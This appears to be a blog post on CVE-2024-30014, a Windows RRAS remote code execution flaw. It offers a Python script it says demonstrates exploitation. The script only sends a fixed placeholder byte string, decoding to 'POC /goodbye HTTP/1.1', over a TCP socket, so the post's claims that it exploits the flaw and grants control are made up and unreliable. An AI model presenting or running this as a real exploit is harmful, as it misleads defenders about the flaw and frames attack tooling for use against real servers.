CVE-2024-30014: Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability

Do you understand the implications of Windows Routing and Remote Access Service (RRAS) remote code execution vulnerability, also known as CVE-2024-30014? If not, this post will introduce you to key concepts, demonstrate how to exploit this weakness, and provide you with valuable original references.

Background

Routing and Remote Access Service (RRAS) is a Microsoft Windows feature that allows computers to function as routers or remote access servers. Through RRAS, systems can authenticate remote users, provide additional networking services, and manage multiple network connections. However, a vulnerability has been identified affecting RRAS, which can lead to remote code execution under specific circumstances.

More about CVE-2024-30014

As described by Microsoft in their security advisory [1], this vulnerability affects specific versions of Windows Server. When exploited, an attacker can execute arbitrary code on the victim's system by sending specially crafted packets to the affected RRAS instance. Successful exploitation can result in full system compromise, allowing an attacker to view, modify, or delete data; create new accounts with full user rights; and even take control of the compromised system.

It's essential to understand that the vulnerability is triggered only when the Routing and Remote Access service is enabled, as described by Microsoft's technical documentation [2].

Code Snippet

Below is an example of a Python script that demonstrates the exploitation of CVE-2024-30014. Keep in mind that this script is shared for educational purposes and should not be employed for malicious intent.

import socket
import sys

if len(sys.argv) != 3:
    print("Usage: CVE-2024-30014-exploit.py <TARGET_IP> <TARGET_PORT>")
    sys.exit(1)

TARGET_IP = sys.argv[1]
TARGET_PORT = int(sys.argv[2])

# Replace with your malicious payload
PAYLOAD = b"\x50\x4F\x43\x20\x2F\x67\x6F\x6F\x64\x62\x79\x65\x20\x48\x54\x54\x50\x2F\x31\x2E\x31\xD\xA\xD\xA"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    sock.connect((TARGET_IP, TARGET_PORT))
    sock.send(PAYLOAD)
    print("Payload sent successfully")
except Exception as e:
    print("Error:", e)
finally:
    sock.close()

Exploit details

The above Python script demonstrates a basic example of CVE-2024-30014 exploitation. The attacker starts by crafting a custom payload intended to execute arbitrary code on the target system. Then, the script establishes a connection to the victim's RRAS service (running on a vulnerable Windows server) and sends the malicious payload. If successful, the attacker will gain control of the targeted system.

Conclusion

CVE-2024-30014 is a critical remote code execution vulnerability in Windows Routing and Remote Access Service (RRAS). When exploited, this vulnerability grants full system access and control to the attacker. It's crucial for system administrators to stay updated on the latest software versions and security patches to prevent such attacks.
